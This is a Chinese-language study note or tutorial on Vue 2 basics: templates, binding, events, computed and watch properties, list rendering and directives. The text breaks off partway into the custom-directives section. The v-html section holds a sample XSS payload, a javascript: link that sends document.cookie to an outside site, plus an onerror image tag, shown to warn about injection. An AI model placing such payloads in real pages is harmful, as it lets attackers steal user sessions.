0
点赞
收藏
分享

微信扫一扫

Vue笔记01-Vue核心


Vue简介

Vue是一个可以动态构建用户界面的渐进式前端框架,在设计上参考了MVVM模式,代码简洁体积小,运行效率快,适合移动/PC端开发,作者是尤雨溪。
Vue中文官网 Vue借鉴了Angular的模板和数据绑定技术,借鉴了React的组件化和虚拟DOM技术。
Vue还有一些周边库:Vue-cli、Vue-resource、Vue-router等。

初识Vue

要想使用Vue,最简单的方式是直接用script标签引入Vue.js,可以通过cdn引入,也可以通过本地引入。
要想让Vue工作起来,就需要有一个Vue实例,Vue实例的初始化接受一个对象参数。一个Vue对象要和一个容器模板关联起来,通常采用id进行关联,Vue实例和容器是一一对应的,不能出现一对多和多对一的情况,容器内的代码符合HTML规范。
准备一个容器:

<div id="root">
	<h1>Hello, My name is {{name}}, I come from {{address}}.</h1>
</div>

创建Vue实例:

Vue.config.productionTips=false;// 阻止Vue在启动时输出生产提示
new Vue({
	el:'#root',// element的意思,用于指定Vue和哪个容器绑定
	data:{// 提供给el容器所需要的数据,经过Vue渲染,数据就可以填充上去了
		name:'王劭阳',
		address:'山东济南'
	}
});

模板语法

这里介绍两种语法:插值语法、指令语法。
插值语法:用两对花括号将变量包裹起来,经过Vue渲染后,变量处的值会自动填充上,用于解析标签体内容。
指令语法:用于解析标签(比如:标签属性、标签体内容、绑定事件等),比如v-bind:就是指令语法。

<div id="root">
	<h1>插值语法</h1>
	<h2>{{name}}</h2>
	<hr/>
	<h1>指令语法</h1>
	<a v-bind:href="url">点击跳转</a>
</div>

new Vue({
	el:'#root',
	data:{
		name:'王劭阳',
		url:'https://www.baidu.com'
	}
});

插值语法和指令语法各有各的应用场景,不能混用,一个应用在标签体内,一个应用在标签体上。经过Vue的渲染,这里的name和url都是js变量,不再是普通的字符串了,当然,这里也可以写js表达式,因为js表达式是有值的。
关于指令语法,这里只介绍了v-bind:,其实Vue的指令还有许多,都是以v-开头的形式。当然,你可以自定义属性名,然后使用v-bind:前缀,但要保证后面的变量在data里能找到才行。v-bind:可以简写为:

数据绑定

为了方便测试,需要在浏览器端安装Vue插件,去谷歌应用市场安装上就行,搞不了的就本地安装。安装之后,在开发者工具里就可以看到Vue Devtools了,如果看不到,给插件开放“可读取和更改网站数据”的权限,再把浏览器重启一下,就可以了。
数据绑定分为单向绑定和双向绑定。
单向数据绑定v-bind::数据只能从data流向页面,反之不行。
双向数据绑定v-model::数据可以从data流向页面,也可以由页面流向data。

<div id="root">
	<!--这里的v-bind:就用:的简写形式-->
	单向数据绑定:<input type="text" :value="name"><br/>
	双向数据绑定:<input type="text" v-model="name"><br/>
</div>

new Vue({
	el:'#root',
	data:{
		name:'王劭阳'
	}
});

打开浏览器的Vue插件,直接修改Vue插件中data的值,可以看到input框中的值也跟着变了,也就是data流向页面。修改单向数据绑定中input的值,Vue插件中data的值并没有发生变化,这就是单向数据绑定的意思,数据只能由data流向页面,反之不行。
再来修改双向数据绑定input的值,可以发现,Vue插件中data的值也跟着变了,这就是页面流向data,由data流向页面,我们刚才已经验证过了,这就是双向数据绑定。
需要注意的是,双向数据绑定只在输入类元素上有效,假设一个span标签,如果给它一个v-model:,它都没有输入的地方,就无从谈起数据从页面流向data了。

el与data的两种写法

el是element的意思,在Vue对象和模板绑定时候使用。
之前我们见到的data是对象式的,还有函数式的,也就是data的值是通过一个函数的返回值确定的

const vm = new Vue({
	// el:'#root',// el的第一种写法
	data:{// data的第一种写法:对象式
		name:'尚硅谷'
	}
});
vm.$mount('#root');// el的第二种写法,mount是挂载的含义
new Vue({
	el:'#root',
	data() {// data的第二种写法:函数式
		console.log(this);// 这里的this是Vue实例对象
		return {
			name:'王劭阳'
		};
	}
});

MVVM模型

M:模型:对应data中的数据

V:视图:对应模板代码

VM:视图模型:Vue实例

Vue笔记01-Vue核心_数据


数据通过Vue和模板进行绑定,再由Vue把数据填充到模板上,页面上的变化,通过Vue监听,从而影响数据的变化。

data里的数据,通过Vue渲染后,都会在Vue对象的属性里,Vue对象的属性和Vue原型的属性,在Vue模板里都可以直接使用。

数据代理

介绍一下Object.defineProperty()方法,可以通过这个方法给对象添加属性。

let number = 18;
let person = {
	name:'张三',
	sex:'男',
};
Object.defineProperty(person,'age',{
	// value:18,
	// enumerable:true,// 控制属性是否可以枚举,默认值是false
	// writable:true,// 控制属性是否可以被修改,默认值是false
	// configurable:true// 控制属性是否可以被删除,默认值是false
	// 当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
	get(){
		console.log('有人读取age属性了');
		return number;
	},
	//当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
	set(value){
		console.log('有人修改了age属性,且值是',value);
		number = value;
	}
});

数据代理:通过一个对象代理另一个对象中属性的操作。
现在有obj1和obj2两个对象,obj1={x:1},obj2={y:2},现在需要让obj2代理obj1,实现通过obj2来操作obj1的效果。

let obj1 = {x:100};
let obj2 = {y:200};
Object.defineProperty(obj2,'x',{
	get(){
		return obj1.x;
	},
	set(value){
		obj1.x = value;
	}
});

通过defineProperty()方法,我们给obj2添加了一个属性,这个属性的get和set方法都作用于obj1上。
在Vue中,普遍存在数据代理,我们在data上写的数据,最后Vue对象都能取到,所以说,Vue通过数据代理将data中的数据添到Vue对象的属性上,这样更方便操作数据了。

事件处理

事件处理,需要用到一个Vue指令v-on:,可以简写为@。既然是事件,就要有对应的处理方法,我们需要将自定义的方法也写在Vue体内,写在methods里。

<div id="root">
	<h2>我是{{name}}</h2>
	<!-- <button v-on:click="showInfo">点我提示信息</button> -->
	<button @click="showInfo1">点我提示信息1(不传参)</button>
	<button @click="showInfo2($event,666)">点我提示信息2(传参)</button>
</div>

new Vue({
	el:'#root',
	data:{
		name:'王劭阳',
	},
	methods:{
		showInfo1(event){
			// console.log(this);// 此处的this是Vue对象
			alert('hello world')
		},
		showInfo2(event,number){
			console.log(event,number);
			// console.log(this)// 此处的this是Vue对象
			alert('Hello World')
		}
	}
});

methods里的函数不要使用箭头函数,如果使用的箭头函数,方法体的this就是Window,而非Vue了,在方法体内使用data的值,就取不到了。方法可以带(),也可以不带(),带()可以传递参数,$event是指当前触发的事件,$event.target是指触发的元素。
Vue有6个事件修饰符:

  1. prevent:阻止默认事件:event.preventDefault()
  2. stop:阻止事件冒泡:event.stopPropagation()
  3. once:只触发一次
  4. capture:使用事件的捕获模式
  5. self:只有event.target是当前操作元素时才触发事件
  6. passive:立刻执行默认行为,不等待回调方法执行完毕

<div id="root">
	<h2>我是{{name}}</h2>
	<!-- 阻止默认事件(常用) -->
	<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>
	<!-- 阻止事件冒泡(常用) -->
	<div class="demo1" @click="showInfo">
		<button @click.stop="showInfo">点我提示信息</button>
		<!-- 修饰符可以连续写 -->
		<!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
	</div>
	<!-- 事件只触发一次(常用) -->
	<button @click.once="showInfo">点我提示信息</button>
	<!-- 使用事件的捕获模式 -->
	<!-- 一个事件的触发,会经历捕获、冒泡两个阶段,捕获是从外向内,冒泡是从内向外,默认情况下,冒泡阶段才会调用事件 -->
	<!-- 不使用.capture的时候,先输出2,后输出1 -->
	<!-- 使用.capture的时候,先输出1,后输出2,也就是在事件捕获阶段,就开始执行showMsg()方法了 -->
	<div class="box1" @click.capture="showMsg(1)">
		div1
		<div class="box2" @click="showMsg(2)">
			div2
		</div>
	</div>
	<!-- 只有event.target是当前操作的元素时才触发事件,当点击button的时候,不会触发div的showInfo()方法 -->
	<div class="demo1" @click.self="showInfo">
		<button @click="showInfo">点我提示信息</button>
	</div>
	<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 -->
	<!-- 添加.passive后,wheel的默认行为会立刻执行,不会等待demo()执行完毕才执行,可以提升移动端的性能 -->
	<ul @wheel.passive="demo" class="list">
		<li>1</li>
		<li>2</li>
		<li>3</li>
		<li>4</li>
	</ul>
</div>

new Vue({
	el:'#root',
	data:{
		name:'王劭阳'
	},
	methods:{
		showInfo(e){
			alert('Hello World');
			// console.log(e.target)
		},
		showMsg(msg){
			console.log(msg);
		},
		demo(){
			for (let i = 0; i < 10000; i++) {
				console.log('#');
			}
			console.log('累坏了');
		}
	}
});

事件修饰符可以组合使用,根据需要进行搭配即可。
除了鼠标事件,还有键盘事件,常用的是keyupkeydown

<div id="root">
	<h2>我是{{name}}</h2>
	<input type="text" placeholder="按下回车提示输入" @keydown="showInfo">
	<!-- 这样就不需要在showInfo()方法里判断是Enter键了 -->
	<!-- <input type="text" placeholder="按下回车提示输入" @keydown.Enter="showInfo"> -->
</div>

new Vue({
	el:'#root',
	data:{
		name:'王劭阳'
	},
	methods: {
		showInfo(e){
			console.log(e.key);// 输出按键的名称
			if (e.keyCode === 13) {// 只有是回车的时候才输出value
				console.log(e.target.value);
			}
		}
	}
});

除了在showInfo()方法里根据keyCode进行判断,还可以在keyupkeydown后面连续跟上key的名称来实现,key的名称可以通过e.key获取到,比如:ControlEnterAlt等,但是这里需要注意,使用key的时候要使用kebab-case方式,比如:CapsLock要换成caps-lock才行。
在使用CtrlAltShiftWindow这些系统修饰键的时候,需要使用keyup事件,按下修饰键的同时,再按下其他键,随后释放其他键,事件才会触发。

计算属性

需求:有两个input和一个spanspan里显示两个input里的内容,用“-”拼接起来。

插值:

<div id="root">
	姓:<input type="text" v-model="firstName"> <br/><br/>
	名:<input type="text" v-model="lastName"> <br/><br/>
	全名:<span>{{firstName}}-{{lastName}}</span>
</div>

new Vue({
	el:'#root',
	data:{
		firstName:'张',
		lastName:'三'
	}
});

methods返回值

<div id="root">
	姓:<input type="text" v-model="firstName"> <br/><br/>
	名:<input type="text" v-model="lastName"> <br/><br/>
	全名:<span>{{fullName()}}</span>
</div>

new Vue({
	el:'#root',
	data:{
		firstName:'张',
		lastName:'三'
	},
	methods: {
		fullName(){
			return this.firstName + '-' + this.lastName;
		}
	},
});

计算属性

<div id="root">
	姓:<input type="text" v-model="firstName"> <br/><br/>
	名:<input type="text" v-model="lastName"> <br/><br/>
	全名:<span>{{fullName}}</span> <br/><br/>
</div>

new Vue({
	el:'#root',
	data:{
		firstName:'张',
		lastName:'三'
	},
	computed:{
		// 如果fullName只有get方法,可以简写,类似于method返回值形式了,fullName()是简写写法
		fullName(){
			return this.firstName + '-' + this.lastName;
		}
		// 完整写法
		fullName:{
			// 读取fullName时,get就会被调用,且返回值就作为fullName的值
			// get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时
			get(){
				console.log('get被调用了');
				return this.firstName + '-' + this.lastName;
			},
			// set什么时候调用?当fullName被修改时
			set(value){
				console.log('set',value);
				const arr = value.split('-');
				this.firstName = arr[0];
				this.lastName = arr[1];
			}
		}
	}
});

监视属性

需求:通过一个button来实现变量状态的切换。

计算属性

<div id="root">
	<h2>今天天气很{{info}}</h2>
	<!-- <button @click="isHot = !isHot">切换天气</button> -->
	<button @click="changeWeather">切换天气</button>
</div>

new Vue({
	el:'#root',
	data:{
		isHot:true,
	},
	computed:{
		info(){
			return this.isHot ? '炎热' : '凉爽';
		}
	},
	methods: {
		changeWeather(){
			this.isHot = !this.isHot;
		}
	},
});

监视属性

<div id="root">
	<h2>今天天气很{{info}}</h2>
	<button @click="changeWeather">切换天气</button>
	<h3>b的值是:{{numbers.a.b}}</h3>
	<button @click="numbers.a.b++">点我让b+1</button>
</div>

const vm = new Vue({
	el:'#root',
	data:{
		isHot:true,
		numbers:{
			a:{
				b:1
			}
		}
	},
	computed:{
		info(){
			return this.isHot ? '炎热' : '凉爽';
		}
	},
	methods: {
		changeWeather(){
			this.isHot = !this.isHot;
		}
	},
	/* watch:{
		isHot:{
			immediate:true, //初始化时让handler调用一下
			//handler什么时候调用?当isHot发生改变时
			handler(newValue,oldValue){
				console.log('isHot被修改了',newValue,oldValue);
			}
		},
		'numbers.a.b':{
			handler(){
				console.log('numbers改变了');
			}
		}
	} */
	// 简写
	/* isHot(newValue,oldValue){
		console.log('isHot被修改了',newValue,oldValue,this);
	} */
});
vm.$watch('isHot',{
	immediate:true,// 初始化时调用一下handler()
	// 当isHot发生改变时,handler()被调用
	handler(newValue,oldValue){
		console.log('isHot被修改了',newValue,oldValue);
	}
});
vm.$watch('numbers',{
	deep:true,// 是否被检测多级结构的变化,默认是false,出于性能考虑
	// 当numbers发生改变时,handler()被调用
	handler(newValue,oldValue){
		console.log('numbers改变了');
	}
});
// 简写
/* vm.$watch('isHot',(newValue,oldValue)=>{
	console.log('isHot被修改了',newValue,oldValue,this);
}); */

关于computed和watch的区别:

  1. computed能完成的功能,watch也可以完成
  2. watch完成的功能,computed不一定能完成,比如watch的异步回调

<div id="root">
	姓:<input type="text" v-model="firstName"> <br/><br/>
	名:<input type="text" v-model="lastName"> <br/><br/>
	全名:<span>{{fullName}}</span> <br/><br/>
</div>

const vm = new Vue({
	el:'#root',
	data:{
		firstName:'张',
		lastName:'三',
		fullName:'张-三'
	},
	watch:{
		firstName(val){
			// 延迟一秒再修改fullName
			setTimeout(()=>{
				console.log(this);
				this.fullName = val + '-' + this.lastName;
			},1000);
		},
		lastName(val){
			this.fullName = this.firstName + '-' + val;
		}
	}
});

说到这里,不得不提的一句:

  1. 被Vue管理的函数,最好写成普通函数,这样this的指向才是vm或组件实例对象
  2. 不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,这样this的指向才是vm或组件实例对象

这里说一下js里,箭头函数和普通函数的区别:在箭头函数中,是没有绑定自己的this的,箭头函数中使用this,会沿着作用域链向上寻找,找到最近的一个this拿来使用。

class和style的绑定

通常在写style的时候,是根据class进行绑定的,要想实现动态class,就需要将class归到Vue的管理范围,这里就要介绍:class了。style也可以绑定到Vue的管理范围内,使用:style

.basic{
	width: 400px;
	height: 100px;
	border: 1px solid black;
}
.happy{
	border: 4px solid red;;
	background-color: rgba(255, 255, 0, 0.644);
	background: linear-gradient(30deg,yellow,pink,orange,yellow);
}
.sad{
	border: 4px dashed rgb(2, 197, 2);
	background-color: gray;
}
.normal{
	background-color: skyblue;
}
.atguigu1{
	background-color: yellowgreen;
}
.atguigu2{
	font-size: 30px;
	text-shadow:2px 2px 10px red;
}
.atguigu3{
	border-radius: 20px;
}

<div id="root">
	<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
	<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>
	<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
	<div class="basic" :class="classArr">{{name}}</div> <br/><br/>
	<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
	<div class="basic" :class="classObj">{{name}}</div> <br/><br/>
	<!-- 绑定style样式--对象写法 -->
	<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
	<!-- 绑定style样式--数组写法 -->
	<div class="basic" :style="styleArr">{{name}}</div>
</div>

new Vue({
	el:'#root',
	data:{
		name:'王劭阳',
		mood:'normal',
		classArr:['atguigu1','atguigu2','atguigu3'],
		classObj:{
			atguigu1:true,// true表示应用atguigu1的样式
			atguigu2:false,// false表示不应用atguigu2的样式
		},
		styleObj:{
			fontSize: '40px',
			color:'red',
		},
		styleArr:[
			{
				fontSize: '40px',
				color:'blue',
			},
			{
				backgroundColor:'gray'
			}
		]
	},
	methods: {
		changeMood(){
			const arr = ['happy','sad','normal'];
			const index = Math.floor(Math.random()*3);
			this.mood = arr[index];
		}
	},
});

就是将具体的属性值,写到Vue的data对象里,然后在模板里里通过Vue的:语法完成绑定关系,当动态修改Vue对象的时候,样式也就跟着变化了。

条件渲染

style="display:none"这个样式,在Vue里可以使用v-show命令来代替。
Java代码里有ifelse ifelse,这在Vue里也有,用法也是类似的。

<div id="root">
	<h2 v-show="false">欢迎来到{{name}}</h2>
	<h2 v-show="1 === 1">欢迎来到{{name}}</h2>
	<h2>当前的n值是:{{n}}</h2>
	<button @click="n++">点我n+1</button>
	<div v-if="n === 1">第一行</div>
	<div v-else-if="n === 2">第二行</div>
	<div v-else-if="n === 3">第三行</div>
	<div v-else>第四行</div>
</div>

new Vue({
	el:'#root',
	data:{
		name:'王劭阳',
		n:0
	}
});

v-if适用于切换少的场景,因为v-if实际是对DOM的增减,v-show适用于切换多的场景,因为v-show实际是对DOM的样式的修改。正是因为这样,使用v-if可能获取不到元素,因为DOM都没了,而v-show就不会存在这个现象。
连续的v-ifv-else-ifv-else之间的结构不能被打断,打断后会提示找不到匹配的v-if
这里还介绍到了template标签,template标签,在Vue渲染之后,是不存在的,可以在template标签上,配合v-if使用,这样可以在不修改页面DOM结构的情况下,实现条件渲染。

<template v-if="n === 1">
	<h2>你好</h2>
	<h2>尚硅谷</h2>
	<h2>北京</h2>
</template>

列表渲染

列表渲染需要用到一个Vue的命令:v-for,可以用来遍历数组,对象,字符串,1-n的数字,注意形参中key和value的位置。

<div id="root">
	<!--遍历数组 -->
	<h2>人员列表(遍历数组)</h2>
	<ul>
		<li v-for="(p,index) of persons" :key="index">
			{{p.name}}-{{p.age}}
		</li>
	</ul>
	<!-- 遍历对象 -->
	<h2>汽车信息(遍历对象)</h2>
	<ul>
		<li v-for="(value,k) of car" :key="k">
			{{k}}-{{value}}
		</li>
	</ul>
	<!-- 遍历字符串 -->
	<h2>测试遍历字符串(用得少)</h2>
	<ul>
		<li v-for="(char,index) of str" :key="index">
			{{char}}-{{index}}
		</li>
	</ul>
	<!-- 遍历指定次数 -->
	<h2>测试遍历指定次数(用得少)</h2>
	<ul>
		<li v-for="(number,index) of 5" :key="index">
			{{index}}-{{number}}
		</li>
	</ul>
</div>

new Vue({
	el:'#root',
	data:{
		persons:[
			{id:'001',name:'张三',age:18},
			{id:'002',name:'李四',age:19},
			{id:'003',name:'王五',age:20}
		],
		car:{
			name:'奥迪A8',
			price:'70万',
			color:'黑色'
		},
		str:'hello'
	}
});

和jQuery里的$.each很像,将需要v-for写在需要循环的元素上。
使用v-for的时候,需要注意的一点是::key,如果没有显式指定key,那么Vue会默认提供一个从0递增的key。
key是虚拟DOM的标识,数据发生变化的时候,Vue会生成新的虚拟DOM,虚拟DOM到实际DOM的转化过程中,会根据key来对比变化前后的虚拟DOM。
如果新旧虚拟DOM的key相同,查看新旧虚拟DOM内容是否变化,如果没有变化,使用之前的真实DOM,否则生成新的真实DOM。
如果新旧虚拟DOM的key不同,创建新的真实DOM,渲染到页面。
使用index作为默认key可能引起的问题:对数据进行破坏原有顺序的操作时,会产生不必要的真实DOM更新,如果结构中包含输入类DOM,会引起页面的错乱。
所以,在选择key的时候,要使用一个唯一的标识作为key。
一个会引起问题的例子,页面展示后,在3个input里先输入内容,再点击按钮。

<div id="root">
	<h2>人员列表(遍历数组)</h2>
	<button @click.once="add">添加一个老刘</button>
	<ul>
		<li v-for="(p,index) of persons" :key="index">
			{{p.name}}-{{p.age}}
			<input type="text">
		</li>
	</ul>
</div>

new Vue({
	el:'#root',
	data:{
		persons:[
			{id:'001',name:'张三',age:18},
			{id:'002',name:'李四',age:19},
			{id:'003',name:'王五',age:20}
		]
	},
	methods: {
		add(){
			const p = {id:'004',name:'老刘',age:40};
			this.persons.unshift(p);
		}
	},
});

对列表的过滤、排序,就是对一些js进行操作,不过需要操作的内容必须在Vue的管理范围下才行,这样,修改后的数据才能回显并更新。
引入一个更新的问题,由此来引出Vue的监测机制。

<div id="root">
	<h2>人员列表</h2>
	<button @click="updateMei">更新马冬梅的信息</button>
	<ul>
		<li v-for="(p,index) of persons" :key="p.id">
			{{p.name}}-{{p.age}}-{{p.sex}}
		</li>
	</ul>
</div>

const vm = new Vue({
	el:'#root',
	data:{
		persons:[
			{id:'001',name:'马冬梅',age:30,sex:'女'},
			{id:'002',name:'周冬雨',age:31,sex:'女'},
			{id:'003',name:'周杰伦',age:18,sex:'男'},
			{id:'004',name:'温兆伦',age:19,sex:'男'}
		]
	},
	methods: {
		updateMei(){
			// this.persons[0].name = '马老师';// 奏效
			// this.persons[0].age = 50; // 奏效
			// this.persons[0].sex = '男'; // 奏效
			this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'};// 不奏效
			// this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'});// 奏效
		}
	}
});

模拟Vue的数据检测,是通过定义一个Observer()方法,接收一个对象,在方法体里遍历对象的所有属性,通过Object.defineProperty()方法给每个属性添加上get/set方法。有了get/set方法,就实现了对属性的检测。

//创建一个监视的实例对象,用于监视data中属性的变化
const obs = new Observer(data);
console.log(obs);
// 准备一个vm实例对象
let vm = {};
vm._data = data = obs;
function Observer(obj){
	// 汇总对象中所有的属性形成一个数组
	const keys = Object.keys(obj);
	// 遍历
	keys.forEach((k)=>{
		Object.defineProperty(this,k,{
			get(){
				return obj[k];
			},
			set(val){
				console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`);
				obj[k] = val;
			}
		});
	});
}

通过控制台查看vm_data,可以知道,类似name:(...)这种而且有响应式的get/set方法的,都可以实现响应式。
再看上面的问题:为什么this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'};不奏效呢?因为没有persons[0]对应的响应式get/set,所以不能实现响应式。
如何对数组实现响应式的更新呢?查看Vue官网中关于数组更新检测的内容,可以发现,Vue会把如下方法进行封装,除了完成本身的功能,还会触发视图的更新,所以说,上面的this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'});是奏效的。

  • push()
  • pop()
  • shift()
  • unshift()
  • splice()
  • sort()
  • reverse()

再考虑,为什么this.persons[0].name = '马老师';也是奏效的呢?我们点进persons[0]的name,就可以看到它有响应式的get/set方法,所以它的改变可以立刻在前端更新。
下面介绍一个set语法,可以将属性添加到Vue实例中,而且属性是响应式的。

<div id="root">
	<h2>名称:{{person.name}}</h2>
	<h2>地址:{{person.address}}</h2>
	<hr/>
	<h1>学生信息</h1>
	<button @click="addSex">添加一个性别属性,默认值是男</button>
	<h2>姓名:{{student.name}}</h2>
	<h2 v-if="student.sex">性别:{{student.sex}}</h2>
	<h2>朋友们</h2>
	<ul>
		<li v-for="(f,index) in student.friends" :key="index">
			{{f.name}}--{{f.age}}
		</li>
	</ul>
</div>

const vm = new Vue({
	el:'#root',
	data:{
		person:{
			name:'王劭阳',
			address:'山东济南',
		},
		student:{
			name:'tom',
			friends:[
				{name:'jerry',age:35},
				{name:'tony',age:36}
			]
		}
	},
	methods: {
		addSex(){
			// Vue.set(this.student,'sex','男');
			this.$set(this.student,'sex','男');
		}
	}
});

Vue会检测data中的所有数据,通过set方法实现监视,如果后期需要追加响应式的属性,需要使用Vue.set(target,propertyName/index,value)vm.$set(target,propertyName/index,value)方法,有一点需要注意,set方法不能给vm根路径或data的根路径添加属性。
如果想要检测数组中数据,可以通过Vue提供的那7个方法来实现。

收集表单数据

对于<input type="text"/>v-model收集的是value数据。
对于<input type="radio"/>v-model收集的是value数据,需要给单选的input指定value值。
对于<input type="checkbox"/>,如果没有配置value,则收集到的是布尔值。
如果input本身是非数组形式,收集到的数据就是checked的属性,也就是布尔值。
如果input本身是数组形式,收集到的数据是value组成的数组,而且在Vue中指定初始值的时候,要指定为数组的形式。
v-model:还有3个属性:

  • lazy:失去焦点的时候收集数据,而不是实时收集,比如textarea标签可以使用
  • number:输入的字符串转换为数字
  • trim:对输入内容做trim()操作

<div id="root">
	<form @submit.prevent="demo">
		账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
		密码:<input type="password" v-model="userInfo.password"> <br/><br/>
		年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
		性别:
		男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
		女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
		爱好:
		学习<input type="checkbox" v-model="userInfo.hobby" value="study">
		打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
		吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
		<br/><br/>
		所属校区:
		<select v-model="userInfo.city">
			<option value="">请选择校区</option>
			<option value="beijing">北京</option>
			<option value="shanghai">上海</option>
			<option value="shenzhen">深圳</option>
			<option value="wuhan">武汉</option>
		</select>
		<br/><br/>
		其他信息:
		<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
		<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
		<button>提交</button>
	</form>
</div>

new Vue({
	el:'#root',
	data:{
		userInfo:{
			account:'',
			password:'',
			age:18,
			sex:'female',
			hobby:[],
			city:'beijing',
			other:'',
			agree:''
		}
	},
	methods: {
		demo(){
			console.log(JSON.stringify(this.userInfo));
		}
	}
});

过滤器

Vue的过滤器可以对数据进行简单的格式化操作。
注册过滤器:Vue.filter(name, callback)new Vue{filters:{}}。需要注意的是Vue.filter(name, callback)要写在new Vue()之前,这种是全局过滤器,不管哪个Vue绑定的模板,都可以使用这个过滤器,而new Vue{filters:{}}是局部过滤器,只能应用于当前Vue实例绑定的模板上。
过滤器不会改变原有的数据,是在原数据基础上生成新的数据并展示,而且过滤器可以串联使用。

<script type="text/javascript" src="../js/dayjs.min.js"></script>
<div id="root">
	<h2>显示格式化后的时间</h2>
	<!-- 计算属性实现 -->
	<h3>现在是:{{fmtTime}}</h3>
	<!-- methods实现 -->
	<h3>现在是:{{getFmtTime()}}</h3>
	<!-- 过滤器实现 -->
	<h3>现在是:{{time | timeFormater}}</h3>
	<!-- 过滤器实现(传参) -->
	<h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
	<h3 :x="msg | mySlice">尚硅谷</h3>
</div>
<div id="root2">
	<h2>{{msg | mySlice}}</h2>
</div>

//全局过滤器
Vue.filter('mySlice',function(value){
	return value.slice(0,4);
});
		
new Vue({
	el:'#root',
	data:{
		time:1621561377603, // 时间戳
		msg:'你好,尚硅谷'
	},
	computed: {
		fmtTime(){
			return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss');
		}
	},
	methods: {
		getFmtTime(){
			return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss');
		}
	},
	//局部过滤器
	filters:{
		timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
			// console.log('@',value);
			return dayjs(value).format(str);
		}
	}
});
new Vue({
	el:'#root2',
	data:{
		msg:'hello,atguigu!'
	}
});

内置指令

先回顾一下之前接触到的指令:
v-bind::单向绑定解析表达式,简写为:v-model::双向数据绑定
v-for:遍历数组、对象、字符串
v-on::绑定监听事件,简写为@v-if:条件渲染
v-else:条件渲染
v-show:条件渲染

v-text

v-text指令可以向所在结点内部填充文本内容,与插值语法类似,但是不及插值语法灵活,当结点内有数据的时候,直接就覆盖了,而且不灵活,所以推荐使用差值语法。填充数据的时候,填充纯文本,不会解析,即使填充的是html元素,也会显示为纯文本,不会解析成DOM元素。

<div id="root">
	<div>你好,{{name}}</div>
	<div v-text="name">这里的内容会被覆盖</div>
	<div v-text="str"></div>
</div>

new Vue({
	el:'#root',
	data:{
		name:'王劭阳',
		str:'<h3>HTML元素会被当做纯文本展示,不会解析</h3>'
	}
});

v-html

v-html会覆盖结点中的内容,和v-text不同的是,v-html可以识别并接卸DOM元素,这导致v-html有安全性问题,比如XSS注入,另外,永远不要在用户提交的内容上使用v-html

<div id="root">
	<div>你好,{{name}}</div>
	<div v-html="str1"></div>
	<div v-html="str2"></div>
	<div v-html="str3"></div>
</div>

new Vue({
	el:'#root',
	data:{
		name:'王劭阳',
		str1:'<h3>你好啊!</h3>',
		str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
		str3:'<img src="不存在的图片.png" οnerrοr="alert(1)"/>'
	}
});

v-cloak

在模板没有渲染之前,比如网速不佳,为了不让插值语法显示出来,可以通过v-cloak指令结合CSS来隐藏,也就是阻塞住,等Vue.js获取到之后再做渲染。Vue实例创建完毕接管模板,会删掉v-cloak属性。

[v-cloak]{
	display:none;
}

<div id="root">
	<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>

new Vue({
	el:'#root',
	data:{
		name:'王劭阳'
	}
});

v-once

使用了v-once指令的标签,就视为静态内容了,后续数据的变化,不会引起结构的更新,用于性能优化。

<div id="root">
	<h2 v-once>初始化的n值是:{{n}}</h2>
	<h2>当前的n值是:{{n}}</h2>
	<button @click="n++">点我n+1</button>
</div>

new Vue({
	el:'#root',
	data:{
		n:1
	}
});

v-pre

使用v-pre指令的元素表示,不需要Vue对结点进行编译,通常没有Vue语法的普通标签,可以使用v-pre指令加快编译。

<div id="root">
	<h2 v-pre>这一行不会被编译</h2>
	<h2>当前的n值是:{{n}}</h2>
	<button @click="n++">点我n+1</button>
</div>

new Vue({
	el:'#root',
	data:{
		n:1
	}
});

自定义指令

自定义指令分为函数式和对象式,和过滤器类似,也支持全局自定义指令和局部自定义指令。

// 局部指令
new Vue({
	directives:{指令名:配置对象}
});
new Vue({
	directives:{指令名:回调函数}
});
// 全局指令,需要写在new Vue({});之前
Vue.directive(指令名, 配置对象);
Vue.directive(指令名, 回调函数);

这里定义两个自定义指令:v-big-numberv-fbind。在定义指令的时候,不需要加v-,在使用指令的时候,需要带上v-,如果指令名是多个单词,需要使用kebab-case命名方式,不要使用camelCase,对于多个单词的指令定义,因为有-符号,所以需要带上引号才行。
v-big-number:将n扩大10倍。
v-fbind:进入页面的时候,让焦点默认在input上面。
对于第一个,比较容易实现,第二个牵扯到一个模板渲染时机问题,需要用其他写法来完成。

<div id="root">
	<h2>{{name}}</h2>
	<h2>当前的n值是:<span v-text="n"></span> </h2>
	<h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2>
	<button @click="n++">点我n+1</button>
	<hr/>
	<input type="text" v-fbind:value="n">
